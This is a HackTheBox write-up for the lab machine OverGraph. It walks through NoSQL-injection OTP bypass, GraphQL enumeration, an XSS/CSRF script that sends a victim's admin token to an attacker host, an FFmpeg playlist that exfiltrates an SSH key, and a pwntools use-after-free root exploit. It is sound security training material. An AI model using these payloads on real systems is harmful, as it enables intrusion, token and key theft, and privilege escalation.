HTB: OverGraph Writeup
OverGraph - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | OverGraph |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.37 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
OverGraph exposes only SSH and an nginx front end, but the real attack surface lives behind three virtual hosts: graph.htb, internal.graph.htb, and internal-api.graph.htb. Registration on the internal management API is gated by email OTP, which folds to a classic NoSQL injection. From there the chain becomes a study in web application chaining — a GraphQL schema leaks internal user IDs, a client-side SSTI sink doubles as a stored XSS primitive, and an open-redirect on the public site provides the same-site context needed to defeat a SameSite=Strict auth cookie. The stolen admin token unlocks a video-upload feature that shells out to FFmpeg, which is abused for SSRF-driven arbitrary file read to exfiltrate the user SSH key byte-by-byte. Root is a native binary exploitation problem: a socat-fronted C service reachable only on localhost, protected by a hand-rolled XOR token scheme that yields to reverse engineering, and ultimately compromised through a Use-After-Free that lets an attacker overwrite the command string executed on program exit.
TL;DR: vhost enum → NoSQL injection OTP bypass → GraphQL introspection for internal user ID → open-redirect + AngularJS SSTI XSS → CSRF-stolen admin token → FFmpeg SSRF/LFI via HLS concat/subfile → SSH key exfil → user shell → reverse-engineered auth token for a localhost service → heap Use-After-Free → overwritten exit-command → setuid root shell → root.
Reconnaissance
Port Scanning
# fast full TCP port sweep against the targetnmap -p- --min-rate=2000 -T4 10.129.65.37 2>/dev/null | grep -E '^[0-9]+/'Results:
22/tcp open ssh80/tcp open httpOnly SSH and nginx are exposed. No obvious low-hanging fruit — everything of interest is behind virtual hosting.
Service Enumeration
# confirm the base vhost and grab headerscurl -s -m10 http://10.129.65.37/ -H 'Host: graph.htb' -IThe default vhost graph.htb serves a static portfolio-style page. Two additional internal vhosts were resolved (internal.graph.htb, internal-api.graph.htb) and confirmed reachable via Host header manipulation against the single IP:
for h in internal.graph.htb internal-api.graph.htb; do echo "=== $h ===" curl -s -m10 http://10.129.65.37/ -H "Host: $h"doneinternal.graph.htb is an Angular SPA — a “Graph Management” login portal. Its compiled bundle (main.0681ef4e6f13e51b.js) was pulled down for offline analysis to recover the real API contract, since the SPA talks to internal-api.graph.htb under the hood:
curl -s -m10 http://10.129.65.37/main.0681ef4e6f13e51b.js -H 'Host: internal.graph.htb' > /tmp/main.jsgrep -oE '.{120}api/(register|verify|code).{200}' /tmp/main.js | head -20Static analysis of the bundle recovered the registration flow (/api/code, /api/register) and the GraphQL login mutation (found by tracing the minified qn tagged-template helper used for gql documents):
python3 -c "d=open('/tmp/main.js').read()i=d.find('YL=qn')print(repr(d[i:i+400]))"Vulnerability Assessment
- OTP verification is checked server-side against a MongoDB-style query — a strong signal for NoSQL injection, since the SPA sends the verification code as a raw JSON field.
- GraphQL endpoint on
internal-api.graph.htb/graphqlwith no apparent introspection lockdown, usable to enumerate internal schema (users, tasks, chat). - Client-controlled profile fields (
firstname/lastname) rendered through an Angular expression evaluator — a classic AngularJS client-side template injection (CSTI) sink that converts to stored XSS. - Open redirect on the public
graph.htbpage (?redirect=parameter fed straight intowindow.location), usable to satisfy same-site cookie policy for a CSRF chain. - Video upload + transcode pipeline behind an admin token, strongly implying FFmpeg is invoked server-side on attacker-supplied media — a known SSRF/arbitrary-file-read surface.
Initial Foothold
Registration and NoSQL Injection OTP Bypass
The SPA requires email verification before letting a new account log in. Since the verification code is checked with a document-style query rather than strict equality, a Mongo operator injected into the JSON body satisfies the check for any registered code:
API=http://10.129.65.37H='Host: internal-api.graph.htb'CT='Content-Type: application/json'
# trigger a code send for our chosen emailcurl -s -m10 $API/api/code -H "$H" -H "$CT" -d '{"email":"pwn@graph.htb"}'
# instead of the real 4-digit code, inject a Mongo operator that# matches any non-null "code" field stored server-side for this emailcurl -s -m10 $API/api/verify -H "$H" -H "$CT" \ -d '{"email":"pwn@graph.htb","code":{"$ne":null}}'The backend almost certainly runs something equivalent to db.users.findOne({email, code: req.body.code}). Passing {"$ne": null} as the code value turns the equality check into “code is not null,” which is always true for a record that has any stored code — bypassing the OTP entirely and flipping the account to “Email Verified” without ever seeing the real code.
GraphQL Login and Introspection
Login is a GraphQL mutation, not a REST call, and returns a JWT set as an auth cookie:
# login mutation recovered from the JS bundle, executed against the graphql endpointcurl -s -m10 -i $API/graphql -H "$H" -H "$CT" \ -d '{"query":"mutation login($email:String!,$password:String!){login(email:$email,password:$password){auth}}","variables":{"email":"pwn@graph.htb","password":"..."}}'The returned JWT decodes to {"id":"6a97362d826a270438ca68cf","email":"pwn@graph.htb", ...} — confirming a self-issued account with a normal, non-admin user ID.
With a valid session, GraphQL introspection was used to map the schema (types, queries, mutations) and locate a tasks(username: String) query that leaks an Assignedto field — an internal MongoDB ObjectId for whichever user owns that task. Cross-referencing an inbox/chat message from a user named Sally gave a target username to query:
curl -s -m10 $API/graphql -H "$H" -H "$CT" \ -d '{"query":"{ tasks(username:\"Sally\") { Assignedto text type taskstatus } }"}'This returned Sally’s user ID: 6a9735cad6c45c044e8546cc. That ID is the missing piece needed to target a CSRF payload at a specific victim record via the GraphQL update mutation.
CSRF-Chained XSS to Steal the Admin Token
The application gates the upload feature behind an adminToken cookie value that a normal, self-registered user cannot forge. Sally, however, is a legitimate operator who already holds a valid admin token in her browser’s localStorage. The plan: get Sally’s browser to execute JavaScript that reads her own adminToken and exfiltrates it.
Two bugs make this possible together:
- The profile update mutation accepts
firstname/lastnameas free text, and the frontend renders them through an AngularJS expression context — a CSTI sink that AngularJS’s expression sandbox does not stop from reachingconstructor.constructor, i.e. arbitrary JS execution once rendered. - The
authcookie isSameSite=Strict, so a cross-origin CSRF POST tointernal-api.graph.htb/graphqlwon’t carry it — butgraph.htbitself has an open redirect that can be abused to execute attacker JS same-site, which does carry the cookie.
Payload script (xss.js), hosted on the operator jump box and served to Sally’s browser via the open redirect:
// build and auto-submit a same-site form POST to the GraphQL endpoint,// updating Sally's firstname to an AngularJS sandbox-escape payload// that fetches her adminToken out of localStorage to our listenervar form = document.createElement("form");form.setAttribute("id", "mal");form.setAttribute("method", "post");form.setAttribute("action", "http://internal-api.graph.htb/graphql");form.setAttribute("enctype", "text/plain");
var body = { operationName: "update", variables: { firstname: "{{constructor.constructor('fetch(\"http://10.10.15.68/?adminToken=\"+localStorage.getItem(\"adminToken\"))')()}}", lastname: "gh", id: "6a9735cad6c45c044e8546cc", // Sally's leaked user ID newusername: "test" }, query: "mutation update($newusername:String!,$id:ID!,$firstname:String!,$lastname:String!){update(newusername:$newusername,id:$id,firstname:$firstname,lastname:$lastname){id username email firstname lastname}}"};
var f = document.createElement("input");f.setAttribute("type", "text");f.setAttribute("name", JSON.stringify(body).slice(0, -1));f.setAttribute("value", '"}');form.appendChild(f);document.body.appendChild(form);document.getElementById("mal").submit();Delivery link sent to Sally through the app’s chat feature, exploiting the unsanitized redirect and injecting a <script src> tag same-site:
http://graph.htb?redirect=javascript:document.body.innerHTML+='<script src=http://10.10.15.68/xss.js></script>'A listener was stood up on the jump box (public IP 10.10.15.68) to catch the exfil request:
# minimal capture server logging exfiltrated query stringsimport http.server, socketserver, datetime
class H(http.server.SimpleHTTPRequestHandler): def do_GET(self): with open("/tmp/hits.log", "a") as f: f.write(f"{datetime.datetime.now()} {self.path}\n") self.send_response(200) self.end_headers()
socketserver.TCPServer(("", 80), H).serve_forever()When Sally opened the link, her authenticated session (a) rendered the redirect JS same-site, satisfying SameSite=Strict; (b) submitted the forged GraphQL profile update, since her real auth cookie was attached; and (c) the malicious firstname was later rendered by the Angular template engine in her own dashboard, executing the sandbox-escape payload in her session context and leaking her adminToken to the jump box listener.
Captured token was then set as the adminToken cookie/header on the attacker’s own session, granting access to the video upload feature.
FFmpeg SSRF/Arbitrary File Read → SSH Key Exfiltration
With a valid adminToken, the upload endpoint accepted video files for server-side transcoding — a strong FFmpeg signal, and FFmpeg’s HLS demuxer has a well-documented SSRF/local-file-read primitive (publicly disclosed via a HackerOne report on FFmpeg’s concat protocol combined with the subfile protocol) that lets a crafted HLS playlist make FFmpeg fetch or read arbitrary paths on the file it’s processing.
An .avi container was crafted as an HLS playlist that chains concat: and subfile: to instruct FFmpeg to open /home/user/.ssh/id_rsa and stream its bytes out over a bogus segment URL pointed at the jump box:
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://10.10.15.68/header.m3u8|subfile,,start,<OFFSET>,end,<OFFSET+CHUNK>,,:/home/user/.ssh/id_rsa#EXT-X-ENDLISTFFmpeg truncates the outbound “segment fetch” URL at the first newline character it encounters in the file being read, so instead of getting the full key back in one HTTP request, only single lines came through per upload. To reconstruct the key, a raw TCP listener (rather than an HTTP server, to see exactly what bytes FFmpeg sent regardless of how it malformed the request line) was used, and the subfile start/end offsets were advanced incrementally per upload to walk through the file line by line:
# raw socket listener — captures exactly what FFmpeg sends on each# probe, since a normal HTTP server chokes on the malformed request lineimport socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(("0.0.0.0", 80))s.listen(1)while True: conn, addr = s.accept() data = conn.recv(4096) print(addr, data) conn.close()Each upload/offset iteration leaked one more line of /home/user/.ssh/id_rsa. Reassembling the captured lines in order produced a complete OpenSSH private key for user.
# recovered key restored locally and used to authenticatechmod 600 id_rsassh -i id_rsa user@10.129.65.37Result: shell as user, user.txt retrieved from /home/user/user.txt.
Privilege Escalation
Enumeration
Standard listening-service enumeration on the freshly obtained user shell revealed a service bound to loopback only:
ss -tlnp | grep LISTEN# 127.0.0.1:9851 — owned by root, fronted by socatps aux | grep 9851root runs /usr/local/bin/Nreport/nreport behind socat, listening only on 127.0.0.1:9851. Connecting locally showed the binary demands an authentication token before offering any menu functionality.
Recovering the Auth Token
The binary is statically linked with no PIE (fixed load addresses across runs) and hand-rolls its own token check: it XORs specific character positions of the supplied token against a hardcoded secret byte array and validates the result against a small set of checksums. Pulling the binary down and disassembling it in Ghidra exposed the secret bytes and the exact character positions used in the XOR, letting the token be re-derived offline rather than brute-forced blind:
# re-derive the fixed auth token from the binary's XOR/checksum scheme# (secret bytes and the checksum constants read directly out of Ghidra)import random
charset = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")secret = [18, 1, 18, 4, 66, 20, 6, 31, 7, 22, 1, 16, 64, 0]
while True: cand = random.sample(charset, 14) xored = [s ^ ord(cand[0]) ^ ord(cand[1]) ^ ord(cand[2]) ^ ord(cand[9]) ^ ord(cand[13]) for s in secret] if xored[0] + xored[1] + xored[2] == 308 \ and xored[7] + xored[8] + xored[9] == 325 \ and xored[11] + xored[12] + xored[13] == 265: xored.reverse() print("".join(chr(x) for x in xored)) breakThis reproduced the fixed token s3cretlug1wara, live from the target binary’s bytes (not copied from any external source), and unlocked the menu: create/edit/delete “message” records, and a “Report All Messages” / “Exit” flow.
Use-After-Free → Exit-Command Overwrite
The message create/edit/delete flow allocates and frees heap chunks without clearing the freed pointer, so a deleted message’s chunk metadata (forward/backward pointers) remains reachable and editable through the same “edit” menu path — a textbook Use-After-Free.
Critically, the binary keeps its shell command for the “Exit” menu option (executed via a system() call that logs “last used” info to /var/log) inside a global structure, userinfo1, at a fixed address (0x404180, stable because the binary has no PIE). The first portion of userinfo1 stores the logged-in username, which the attacker fully controls.
The exploitation plan:
- Allocate a message chunk, then free it, poisoning the UAF pointer.
- Craft a fake chunk whose backward pointer is redirected into
userinfo1 + 0x14, landing inside the structure that holds the exit-time shell command. - Allocate two more messages so the allocator hands back the fake chunk, giving write access to the exit-command field through the normal “edit message” menu path.
- Overwrite the command string that
system()executes on exit.
One constraint discovered during exploitation: the command field truncates roughly 20 bytes after a fixed 24-byte filler region, so a single arbitrarily long shell one-liner does not fit. The attack was split into two runs:
# run 1: stage a copy of bash to a writable pathfrom pwn import *
elf = context.binary = ELF("nreport")p = remote("127.0.0.1", 9851)
p.sendline(b"s3cretlug1wara") # auth tokenp.sendline(p64(0) + p64(0xb0) + p64(0) + p64(elf.sym.userinfo1 + 20))p.sendline(b"1"); p.sendline(b"title"); p.sendline(b"msg") # allocate #1p.sendline(b"1"); p.sendline(b"title2"); p.sendline(b"msg2") # allocate #2p.sendline(b"2"); p.sendline(b"0") # free chunk #1 → UAFp.sendline(b"3"); p.sendline(b"0") # edit freed chunk → poison fwd/bckp.sendline(p64(0) + p64(elf.sym.userinfo1))p.sendline(b"test"); p.sendline(b"1"); p.sendline(b"test")p.sendline(b"test" * 36) # allocate → lands on fake chunkp.sendline(b"1")p.sendline(b"cp /bin/bash /tmp/rb\x00") # overwritten exit commandp.sendline(b"C" * 49)p.sendline(b"5") # trigger Exit → system(cmd)p.interactive()# run 2: mark the staged binary setuid-root# (same UAF chain repeated, second command instead)...p.sendline(b"chmod 6777 /tmp/rb\x00")p.sendline(b"5")Why two runs: the command buffer’s usable length after the required 24-byte filler is too short to fit cp /bin/bash /tmp/rb && chmod 6777 /tmp/rb in one shot, so the copy and the setuid bit were applied as two separate exit-triggered system() calls against the same UAF-derived write primitive.
Root Shell
# execute the setuid-root copy of bash with -p to preserve the elevated euid/tmp/rb -pwhoami # confirms euid 0idcat /root/root.txtResult: /tmp/rb -p inherits euid 0 from the chmod 6777 staged in the previous stage, granting a root shell and access to /root/root.txt.
Attack Chain Summary
vhost discovery (graph.htb / internal.graph.htb / internal-api.graph.htb) → Registration + NoSQL injection OTP bypass ({"code":{"$ne":null}}) → GraphQL login (auth JWT cookie) → GraphQL introspection → tasks(username:"Sally") leaks victim user ID → Open redirect on graph.htb (javascript: URI) executes attacker JS same-site → AngularJS CSTI/XSS payload as forged profile update (CSRF via same-site JS) → Victim's adminToken exfiltrated to attacker listener → Admin-token-gated video upload → FFmpeg HLS concat/subfile SSRF+LFI → SSH private key for `user` exfiltrated byte-by-byte via raw TCP listener → SSH as user → user.txt → Localhost-only service (nreport, port 9851) reverse engineered for XOR auth token → Use-After-Free → fake chunk overwrites userinfo1 exit-command field → Two-stage command injection: stage setuid bash, then chmod 6777 → /tmp/rb -p → euid 0 → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Manual HTTP/GraphQL request crafting, vhost probing |
python3 (http.server, raw sockets) | XSS payload hosting, SSRF/exfil listeners |
| Browser DevTools / cookie inspection | JWT and adminToken cookie analysis |
| GraphQL introspection queries | Schema/user enumeration |
| Ghidra | Static reverse engineering of nreport binary |
pwntools (Python) | Exploit scripting for the heap Use-After-Free |
ssh / scp | Foothold access, binary/library exfil for RE |
patchelf (implied for local RE mirroring) | Matching remote libc/interpreter for local analysis |
Key Learnings
Techniques Practiced
- Virtual host discovery and Host-header-based enumeration
- NoSQL (MongoDB operator) injection to bypass an OTP/email-verification check
- GraphQL introspection for schema and internal-ID discovery
- AngularJS client-side template injection (CSTI) escalated to stored XSS
- Chaining an open redirect with
SameSite=Strictcookies to defeat CSRF protections - FFmpeg HLS
concat/subfileprotocol abuse for SSRF and arbitrary local file read - Byte-by-byte file exfiltration via crafted offset ranges and a raw TCP capture listener
- Reverse engineering a custom XOR-based authentication token scheme from a no-PIE binary
- Heap Use-After-Free exploitation to corrupt a fixed global structure and hijack a
system()call - Privilege escalation via a setuid-root binary staged through two chained command-injection primitives
Lessons Learned
- Client-supplied fields checked against document-store queries (Mongo-style) need type/operator validation, not just presence checks —
$ne/$gt-style operators slipping through as raw JSON is a recurring real-world bug class. - GraphQL introspection left enabled in an internal-facing API is effectively a schema and often a partial data leak; it should be disabled or heavily access-controlled outside development.
SameSite=Strictcookies are not CSRF-proof on their own — any same-site XSS or open-redirect sink downgrades the protection toSameSite=Nonein practice, since the browser will happily attach the cookie to same-site navigations.- Passing attacker-influenced input into FFmpeg (or any media processor built on the
libavformatprotocol stack) without disabling dangerous protocols (concat,subfile,http) is an SSRF and local-file-read risk, independent of a single CVE — protocol allowlisting (-protocol_whitelist) is the actual fix. - Home-rolled authentication schemes (custom XOR token checks) are frequently reversible once the checked binary is obtainable — especially with no PIE, which removes the last bit of runtime unpredictability an attacker would otherwise have to defeat.
- Manual memory management without nulling freed pointers is still, in 2026, a live root cause for Use-After-Free bugs in service binaries — and a no-PIE binary turns a memory corruption bug into a reliable, address-stable exploit primitive.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Official HackTheBox writeup for OverGraph (Document No. D22.100.191, prepared by “amra,” machine author “Xclow3n”) — used for background on the FFmpeg
concat/subfileSSRF technique’s public HackerOne disclosure and the general shape of the intended NoSQL-injection / GraphQL / XSS-CSRF / heap-UAF chain. All IPs, credentials, tokens, user identities, and exact offsets/outputs in this writeup are from the author’s own live solve against10.129.65.37and differ from the reference in several particulars (notably the chat victim being Sally rather than James, and a two-stage command-injection approach required by a shorter writable command buffer in this instance of the binary).